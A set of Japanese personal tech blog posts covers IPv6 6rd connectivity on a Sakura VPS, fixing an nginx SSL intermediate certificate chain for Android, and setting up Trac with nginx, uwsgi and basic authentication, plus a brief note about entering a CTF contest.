64 bytes from 2001:e41:123:abcd::1341:398: icmp_seq=1 ttl=57 time=44.5 ms
64 bytes from 2001:e41:123:abcd::1341:398: icmp_seq=2 ttl=57 time=25.9 ms
64 bytes from 2001:e41:123:abcd::1341:398: icmp_seq=3 ttl=57 time=26.0 ms
^C
--- 2001:e41:123:abcd::1341:398 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 25.944/32.170/44.530/8.741 ms

なんかへんだ

時々pingが通らなくなることがあるのですが、実験サービスなので安定性についてはしょうがないですね。 pingが通らなくなっても、サーバからのIPv6接続は問題なく行えます。しかもサーバからどこかへIPv6接続したあとこのサーバへpingするとしばらくの間は通るので、不思議です。

どうでもいいこと

  • さくらインターネットの6rdでは、/64のIPv6アドレスブロックがもらえるので、末尾64ビット (数字で言って16桁) は自由に決められます。某メイド長にちなんで ::1341:398 とかやってみたり。
  • WORD編集部のサイトのIPv6対応は、日本で30番目だそうです。

よんだ

6rd - Wikipedia
VPS(仮想専用サーバ)のさくらインターネット
6rd設定方法(Ubuntu10.10編)
さくらのVPSの Ubuntu 12.04 環境で IPv6 アドレスを使う

SSL中間証明書を改良してAndroidに対応させた

およそ3週間の間多忙で何もアウトプットできていなかったくりすです。

nginxのSSL証明書をAndroid上で信頼されないという報告を受けていたのですが、先程対応が完了したのでシェア。

問題

このnginx上ではRapidSSLを採用しており、その親ベンダはGeoTrust, Inc.であるわけですが、この両者の中間証明書をインストールしないと、一部の端末では証明書が正しく使用できませんでした。

原因

2010年頃からRSA (1024bit) は暗号強度上の理由から廃止されており、それに伴い諸CA証明書も2048bitに順次入れ替わっております。しかし、これに伴い互換性確保のために中間証明書のインストールが必須となるので、これを正しく設置していない場合SSLエラーが発生するわけです。

気を付けないといけないのは、RapidSSLの場合はRapidSSLの中間証明書と、その上位のGeoTrustの中間証明書の両方が必要であるということです。

対策

  1. RapidSSL, およびGeoTrustの中間証明書をそれぞれ入手します。
    参考文献の3番目のテキストファイルは、この2つの証明書がバンドルになったものなので、それを引っ張ってくればよいでしょう。
    $ wget https://knowledge.rapidssl.com/library/VERISIGN/INTERNATIONAL_AFFILIATES/RapidSSL/AR1548/RapidSSLCABundle.txt
    

  1. 自分のサーバ用の証明書とこれらを連結します。
    # cat /path/to/the/downloaded/RapidSSLCABundle.txt >> /path/to/your/ssl/cert.pem
    
  1. nginxを再起動します。
    # service nginx restart
    

これだけの手間でしたが、Android 4.0.3で正常に読み込まれたことを確認しましたので、一安心。

NISTの文書によると、今年の末までに1024bitのRSAは廃止され、2048bitに移行するものとされています。

参考文献

SECCON CTF 全国大会に出場します。

私事ですが、本日および明日行われるハッキングコンテスト「SECCON CTF 2012年度全国大会」に、チームifconfigとして参加してきます。

Ураааааа!!!!

2つめのTracをホストしてみました

大学や仕事のこと、私的なことなどといったプライベートなあれこれもチケット管理しようといった考えから、公開用であるこのTracプロジェクトとは別に、認証もかけて自分専用のプロジェクトをホストしようと思いました。

同じホスト(同じサーバ)で2つのTracをホストした理由は、単にSSL証明書を節約するためです。


準備

例によって、任意のパスにTrac用のディレクトリを作成し、Trac化します。
詳細は以前の投稿を参照のほど。

trac@reimu ~:$ mkdir another_project
trac@reimu ~:$ trac-admin another_project initenv
trac@reimu ~:$ chown -R trac:www-data another_project
trac@reimu ~:$ chmod -R 775 another_project

失敗例

nginxの設定で、location /privateを設定し、パスを変える方法は失敗でした。
なぜかというと、Tracprivateというハンドラがないからです。

それから、uwsgiのSocketポートを変えただけでも、同様にだめでした。

そんなにたくさん試行錯誤はしていません。エンジニアたるものもっと失敗にぶち当たるべき。

成功例

結局、私的に使うやつなのでポート番号くらい非defaultでもいいだろということで、別のポートでlistenすることにしました。

/etc/nginx/sites-available/trac_private
server {
    listen 55555 ssl;
    server_name x86-64.jp;
    ssl_certificate /path/to/your/ssl/cert.pem;
    ssl_certificate_key /path/to/your/ssl/key.key;
    root /home/trac/another_project;
    
    location /favicon.ico { }
    location /robots.txt { }

    if ($scheme = http) {
    	return 301 https://$server_name$request_uri;
    }
    
    location / {
    	include uwsgi_params;
    	uwsgi_param REMOTE_USER $remote_user;
        uwsgi_param HTTPS on; # リクエストが勝手にHTTPになる現象をこの行で解決
    	include uwsgi_params;
    	uwsgi_pass 127.0.0.1:7778;
    	auth_basic "Trac";
    	auth_basic_user_file "/path/to/your/.htpasswd";
    }
}

uwsgi_passのSocketポート番号は、ほかに走っているuwsgiアプリケーションと違うのに気をつけてください。同じだと破滅が起こります。

このconfをsites-enabledにシンボリックリンク張って、uwsginginxを再起動して完了。

Tracの設定を見なおしたりしてみました

自分のアカウントでhttp-basic認証でログインしていても、どうもAdminメニューからTracの一般設定ができないと思っていました。

結局何が問題だったかというと、自分のアカウントにTRAC_ADMINが設定されていなかっただけでした。凡ミス。
次のコマンドにて解決。

trac@reimu ~:$ trac-admin ~/your_trac_project permission add foo TRAC_ADMIN

先日のブログエントリに記載したコマンドを、自分で実行するのを忘れていたとは。

さらに検証してみると、TRAC_ADMINでなかったのにAdminメニューが選択できたのは、自分がBLOG_ADMINだったからでした。


あれ?と思ったら、まずは設定から見なおしてみると十中八九なんか見つかります。


それはそうと、SharingButtonsPluginを導入してみました。
Wikiにはボタンが設置されたことを確認しましたが、Blogはどうやら外部プラグインを使っているため非対応なのか、表示されません。
暇があったら、様々なプラグインにも対応できるようにこれを改造してみてもいいかもしれませんね。

nginxとuwsgiを使ってTracをホストしよう

このTracをセットアップするのに多くの時間を費やし、文献を読みあさったのでここに手順やハマりどころをまとめておきます。

そこらの文献というのはなぜかコマンドをどの権限やパスで実行するか明記していないケースがあるので、この記事ではコマンドの説明をするときはbashっぽくプロンプトの部分から記述します。

  1. なんかサーバを用意します(当サーバはAmazon EC2上のUbuntu 12.04.2)
    以降、ホスト名はreimuと表します(このホストがreimu.x86-64.jpだから)
  1. 必要なものをパッケージマネージャなり公式サイトなりから引っ張ってきます。
    わたしはaptを使って手を抜きました。依存環境などもまるまる降ってくるし、アップデートの適用もシステムと一緒にできるという恩恵にあずかれます。
    root@reimu ~:# apt-get install nginx uwsgi uwsgi-plugin-python trac trac-git
    
    trac-gitTracgit使いたいから入れておいたもので、必須ではありません。
    で、uwsgiって結局なんなん: Uwsgi?
  1. わたしはWebサイトごとにユーザを作るスタイルを採用しているので、Trac用にユーザを作っちゃいます。
    root@reimu ~:# adduser -G www-data trac
    
    nginxが走るグループは、環境によってはwww-dataではないかもしれません(httpdとか)
    ユーザ分けとかどうでもいい場合はwww-dataさんが参照できるディレクトリを用意するだけで大丈夫です。
  1. Tracのプロジェクトが入るディレクトリを適当に作り、Tracに付属しているTrac-admin?コマンドでそのディレクトリをTrac化します。
    これは通常ユーザ(この記事の例ではtrac, Trac用のユーザを作らなかった場合はwww-data)で行います。
    trac@reimu ~:$ mkdir your_trac_project
    trac@reimu ~:$ trac-admin ~/your_trac_project initenv
    
    initenvを行っているときに、プロジェクトの名称とデータベースファイルのパスを決められます。
    これがTracのタイトルとして反映されます。たとえばこのTracなら真剣な悪ふざけになっています。 どうやらUTF-8なら2バイト文字でもいいみたいです。
  1. このへんでTracの管理者アカウントを登録しておきましょう。
    trac@reimu ~:$ trac-admin ~/your_trac_project permission add foo TRAC_ADMIN
    
    これで、ユーザfooが管理者になりましたので、fooとしてhttp-auth-basic(以下Basic認証と記述)でログインできるように設定します(後述)。

  1. Tracについての、uwsgi用とnginx用のconfigを作ります。
    わたしはこうしました:
/etc/uwsgi/apps-available/trac.xml
<uwsgi>
    <socket>127.0.0.1:7777</socket>
    <plugin>python</plugin> <!--この行が意外と重要-->
    <env>TRAC_ENV=/home/trac/project-directory</env>
    <module>trac.web.main:dispatch_request</module>
</uwsgi>
/etc/nginx/sites-available/trac
server {
    listen 80;
    listen 443 ssl;
    server_name x86-64.jp;
    ssl_certificate /path/to/ssl-cert.pem;
    ssl_certificate_key /path/to/ssl-key.key;
    root /home/trac/your_trac_project;
    
    location /favicon.ico { }
    location /robots.txt { }

    if ($scheme = http) {
    	return 301 https://$server_name$request_uri;
    }
    
    location / {
    	include uwsgi_params;
    	uwsgi_pass 127.0.0.1:7777;
    }

    location /login {
    	include uwsgi_params;
    	uwsgi_param REMOTE_USER $remote_user;
    	uwsgi_pass 127.0.0.1:7777;
    	auth_basic "Trac";
    	auth_basic_user_file "/path/to/your/.htpasswd";
    }
}
uwsgi用のconfで書いたソケットはportが7777なので、こちらのconfでもuwsgi_passを7777に設定しておきます。
このようにして、nginxにアクセスがあったとき、uwsgiを通してTracのコンテンツを引っ張りにいく設定にします。 ちなみにこのTracはSSL-enabledなので、ところどころSSLに関する設定が入っています。
  1. htpasswdを使って、Basic認証に使うアカウントを生成します。
    Apacheを入れていないUbuntuではそんなコマンドないかもしれないですが、apache-utilsをインストールすればOKです(記事は省略)
    trac@reimu ~:$ htpasswd -c /path/to/your/.htpasswd foo
    trac@reimu ~:$ chgrp www-data /path/to/your/.htpasswd
    trac@reimu ~:$ chmod 750 /path/to/your/.htpasswd
    
    これによってユーザfooが含まれる.htpasswdが生成されたので、このユーザでログインすることでTracのWebインタフェースからの管理ができるようになりました。
    個人的にはここでroot以外が.htpasswdを読めるのがきもい。まあしょうがない。
  1. 上で書いたconfigをenableします。
    root@reimu ~:# ln -s /etc/nginx/sites-available/trac /etc/nginx/sites-enabled/trac
    root@reimu ~:# ln -s /etc/uwsgi/apps-available/trac.xml /etc/uwsgi/apps-enabled/trac.xml
    
  1. uwsginginxrestartして完成。
    root@reimu ~:# service uwsgi restart
    root@reimu ~:# service nginx restart
    

ああそういえば:

エラーが発生したときは、結構な確率でパーミッションがおかしいです。
とくにTracを運用するにあたってwww-dataが読み書きできなくてはいけないファイルは、

  • your_trac_project/conf/trac.ini
  • your_trac_project/db/trac.db

が大事です。これらのファイルについてwww-dataがrとwの権限を持っているかチェックしましょう。

それからハマりどころとして、uwsgiの設定にてPythonのプラグインを使うことを明記しないとちゃんと動かなかったのでメモ。


ざっとこんなところかしら。なんか抜けがある気がするので暇な時に検証します。

参考文献

  1. TracInstallUbuntu
  2. TracNginxRecipe
  3. ラフなラボ: Nginx + uwsgi で Trac環境を作った時のメモ
  4. Cookbook recipe for nginx/uwsgi woes

README

Author くりす
Subject Linuxサーバ
セキュリティ
ネットワーク
WIDE Project
数学
その他勉強, 研究したこと
Purpose メモ, リファレンス

コメントはdisableしていますので、ご意見がありましたらTwitterにて@x86_64までお願いします。